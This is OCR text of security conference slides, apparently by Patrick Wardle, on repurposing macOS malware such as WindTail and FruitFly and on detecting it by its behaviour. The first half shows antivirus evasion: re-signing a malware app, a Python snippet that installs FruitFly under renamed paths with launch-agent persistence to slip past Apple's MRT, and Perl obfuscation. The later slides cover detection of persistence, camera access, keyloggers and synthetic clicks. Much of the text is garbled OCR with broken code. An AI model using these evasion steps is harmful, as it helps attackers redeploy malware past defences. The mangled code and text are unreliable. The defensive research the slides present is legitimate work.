S codesign -s '"Developer ID Application: <some dev id>"

@ (re)sign SRS

usrnode is validly signed (Apple Dev-ID)

/Users/patrick/Projects/repurpose/windtail/Final_Presentation (resigned).app

N
‘P usrnode

item type: application
hashes: view hashes
entitled: none

sign auth: > Developer ID Application: _

> Developer ID Certification Authority
> Apple Root CA

(re) signed, validly



MALWARE REMOVAL TooL (MRT)
built-in signature-based scanner (installed)

S strings -a /System/Library/CoreServices/
MRT . app/Contents/MacOS/MRT | grep "OSX."

OSX.CpuMeaner .A
OSX.Mudminer.A
OSX.ShellDrop.A
OSX.Snake.A
0SX.Proton.D : '

OSX.Proton.C i ] 2 '/ ‘ remove!
OSX.Proton.B

OSX.Morcut.A
OSX.Trovi.A

OSX.InstallImitator.A * patriclk wardle &
OSX.Eleanor.A @patrickwardle
OSX .WirelLurker.A TechCrunch/@zackwhittaker: " @ has pushed a silent
OSX.MaMi.A update to all Macs removing a ...web server installed by
OSX.HMining.C Zoom"

OSX.HMining.B i | L
OSX.HMining.A How? MRTConfigData_10_14-1.45 (MRT is ‘ s built-in

OSX.Mughthesec.A "Malware Removal Tool") added "MACOS.354c063", a

) new encoded signature & removal routine %" &
OSX.Netwire.A
OSX.XcodeGhost.A

OSX.Fruitfly.B

mov
mov
mov
mov
mov
mov
mov
mov
mov

(embedded) MRT detections ...not just malware'!



BYPASSING MRT
...S1mply rename components

 /
—

aLibrarylauncha_10011ae90: // alLibrarylauncha
db "~/Library/LaunchAgents/com.client.client.plist", O

aClient:

db v/ oclient . O
almpcr:

db s /tnp/cr - O
almpproxy: I

o R persistence:
: "com.client.client.plist"

A

db ;
db ey
db gy
almpclientclass:

db "/tmp/client.class", 0
aLibrary_l@@llaefZ // alLibrary . .

db - “Library", @ binary: ~/.client
aOsxfruitflya:

db "0SX.Fruitfly.A", 0

db e 0

MRT signature: OSX.Fruitfly.A

bypass MRT !

‘FRUIT FLY = "anything but '~/.client'
“FRUIT FLY PLIST = "anything but 'com. cllent client.plist' "

§§; P ——— —_—

plist = '''<?xml version="1.0" encoding="UTF-8"7?> ...'"'

shutil.copyfile(sys.argv[l], os.path.expanduser (FRUIT FLY))

with open (os.path.expanduser (FRUIT FLY PLIST), 'w') as plistFile:
plistFile.write(plist % (os.path.expanduser (FRUIT FLY), sys.argv[2]))




3RD-PARTY ANTI-VIRUS PRODUCTS
...Similarly trivial to bypass?

online perl obfuscator !, Q.
@ No engines detected this file

Q Al [] Videos [ Images ([ News ) Shopping : More Settings  Tools

About 19,000 results (0.23 seconds) 50afca962393b04128168590dfac777d9b2f14ddi6400fe3304cacdfdbf2c1f2

fpsaud
Free Perl Obfuscator
perlobfuscator.com/ ¥

perl

Community
Score

Tired of everyone understanding your Perl code? This free Perl obfuscation will make it really hard to
read!

:
f: The free Perl obfuscation service
| liraz.org/obfus.html ¥

OSX.FruitFly 'obfuscated'
detections: O

|
Liraz.Org: The Perl Obfuscation Service™ [phpwiki]. Perl readability keeping you up at night? Worried “

they'll one day understand your spaghetti code? Say no ...

"Writing Bad @$$ Malware

pack encrypt (for OSX)"

p. wardle BH/2015

a.void detection? in-memory



Protection

generically detecting (repurposed) threats




Focus ON (POTENTIALLY) MALICIOUS BEHAVIORS
...VS static signatures

S = ) —

7, detect malware via (unusual) behaviors

A generically detect (even repurposed) malwarel

= ¢ Q - 3

persistence mic/camera download/upload screenshot

=) ® i

key logging synthetic clicks file encryption




PERSISTENCE
via file i/o monitoring

oy OSX.WindTail persisting

int main(int argv, char** argv) {

rl2 = [NSURL fileURLWithPath: [ [NSBundle mainBundle] bundlePathl]];

|

|

urbx = LSSharedFileListCreate (0x0, kLSSharedFileListSessionLoginlItems, OxO);l
LSSharedFileListInsertItemURL (rbx, kLSSharedFileListItemLast, 0x0, O0xO,
| rl2, 0x0, 0xO0); U

2 backgroundtaskmanagementagent
installed a login item

backgroundtaskmanagementagent (Apple Code Signing Cert Auth)

: process id: 271
ISR EE ., . S O = = = mE - * process path: /System/Library/CoreServices/backgroundtaskmanagementagent
A |
B BN BN BN B usrnode (unknown (status/error: -2147409652))
startup file: /Users/user/Library/Application Support/..ndtaskmanagementagent/backgrounditems.btm
( ) - t l t ' startup binary: /Users/user/Desktop/Final_Presentation.app
persistence alert!
remember Block

"Methods of Malware Persistence on Mac OS"
www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf



Mic/CAMERA ACCESS

@ patrick wardle @ y
via AVFoundation notifications fmme )
OSX.Crisis
OSX.Eleanor Mook ProMiropbore
OSX. MOke S process: zoom.us (34770)
OSX.FruitFly FaceTime O Camera

process: zoom.us (34770)

...4oom.app :P

public func start (eventHandler: (@escaping AudioVideoHandler) {
var property = CMIOObjectPropertyAddress (

mSelector: kAudioDevicePropertyDeviceIsRunningSomewhere,
mScope: kAudioObjectPropertyScopeGlobal,

mElement: kAudioObjectPropertyElementMaster)

CMIOObjectAddPropertyListener (camID, &property, camCallback,
self. toOpaque())

detecting mic/camera access

speakerdeck.com/patrickwardle/hack-in-the-box-2017-oversight-

"OverSight: Exposing Spies on macOS"
| PDF _ .
exposing-sples-on-macos



KEYLOGGER DETECTION
via CoreGraphics Event Notifications

8 EiC
)

public func start (eventHandler: (@escaping EventTapsHandler) ({

A A New Keyboard Event Tap Dismiss

process: OSX.Keylogger (75485) Details

notify register dispatch(kCGNotifyEventTapAdded, &self.notifyToken, DispatchQueue.global())
{ [weak self] event in
for newTap in newTaps.keys where nil == strongSelf.previousTaps|[newTap] {
1f let tap = newTaps|[newTap] ({
eventHandler (EventTapsEvent (tap: tap))

detecting keyboard "ewvent taps"
(kCGNotifyEventTapAdded)



DETECTING SYNTHETIC CLICKS

generic protection, regardless of technique?

INVISIBLE MOUSE CLICRS LET
HACKERS BURROW DEEP INTO {process) is trying to do
Mcos , (stuffy |
mmm \NOTHER MACBUG LETS n -
HACRERS INVISIBLY CLICK =Y =,
SECURITY PROMPTS
let mask = (1 << CGEventType.leftMouseDown.rawValue) |
(1 << CGEventType.leftMouseUp.rawValue) ...
eventTap = CGEvent.tapCreate(tap:.cgSessionEventTap, . -
eventsOfInterest: mask, . 0x0: Synthetlc
callback: eventCallback, ... ) —
. .| 0x1: user generated
F
F ™ = = = EEEEEEE - A
v i
public func eventCallback (proxy: CGEventTapProxy, eventType: i
CGEventType, event: CGEvent, ... ) { I
"gstate" !
if 0 == event.getIntegerValueField(.eventSourceStateID) { e e = s = = = = = = I

//detected synthetic mouse click!

}




\
@ Objective-See A products # blog [ talks B malware () about

Featured Products

I Y
L ]

¥

oversight knockknock lulu ransomwhere? do not disturb

all products



GENERICALLY DETECTING MAC MALWARE
...via GamePlan (MonitorKit + Apple s game engine)

A CLEVER TOOL USES APPLE'S VIDEOGAME LOGIC
ENGINE TO PROTECT MACS

..1n the news

actions
(alert, log, etc) Apple's game (logic) engine



DETECTING OSX.WINDTAIL
via infection behaviors

v )
27,1 1 0 v AN\N
/x////]‘ ‘J\“ \ N

@ Safari 'auto-open'
|

$ cat Final Presentation.app/Contents/Info.plist

<key>CFBundleURLTypes</key>
<array>

<dict> _ -
<key>CFBundleURLSchemes</key>
| <array>

v @) 'auto' URL handler registration
i
Sevent.isNewDirectory == 1 AND v
Sevent.process.name == 'Safari'

Sevent.isNewDirectory == 1 AND Sevent.file.isAppBundle ==

E;Eljfél]:j. C:]:GEEit:GECi AND Sevent.file.bundle.infoDictionary.CFBundleURLTypes !'= nil
directory

app with custom URL handler @

Do you want to allow this page to open "“Final_Presentation”?

1:\ ! | O ‘i"l,

i
--
€l application start




DETECTING OSX.FRUITFLY
via '1install time behaviors $ cat ~/Library/LaunchAgents/

com.client.client.plist

<plist version="1.0">

} - <dict>
. <key>ProgramArguments</key>
' Larray> -
| | ! <string> ~/.client </string> |
(Sevent.path MATCHES[cd] "/Library/LaunchAgents/.*.plist" OR I -
Sevent.path MATCHES[cd] "/Users/.*/Library/LaunchAgents/.*.plist") AND 4_ ] </array>

Sevent.isNewFile ==

| . .
. @ launch item persistence

v

Sevent.file.contentsAsDict.ProgramArguments[0] .signingInfo ("AppleSigned") ‘

@) not signed by apple

launch agent
persistence

p | LaunchD" IN $tags AND ORI IR I R R
Sevent.file.contentsAsDict.ProgramArguments[0].
lastPathComponent.startsWith(".")

E) 'hidden' binary @




DETECTING OSX.FRUITFLY
via runtime behaviors

Sevent.process.path.lastPathComponent.startsWith(".")
D)

/‘A\ + hidden process

Sevent.process.path.startsWith("/tmp")
+ dropper payload in /tmp
..other (gener‘\c) q

deteCt\Ons? Sevent.process.labels.contains ("Unsigned") ‘

. unsigned process

L. O ., 0
T ©

webcam synthetic clicks
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CleanMyMac X & Malwarebytes @ Airo

G m |||| =< Yk HALO

©® SmugMug 6 Guardian Firewall & SecureMac ® Sophos 6 SentinelOne 6 Digital Guardian 6 Trail of Bits 6 CyberArk é Halo Privacy




MAHALO!

dpatrickwardle

RESOURCES : IMAGES :

¢« "TOSX.FRUITFLY RECYCLED' —-PHIL STOKES * WIRDOU.COM/
« '"REPURPOSING ONIONDUKE' —JOSH PITTS * GITHUB.COM/ARIS-T2




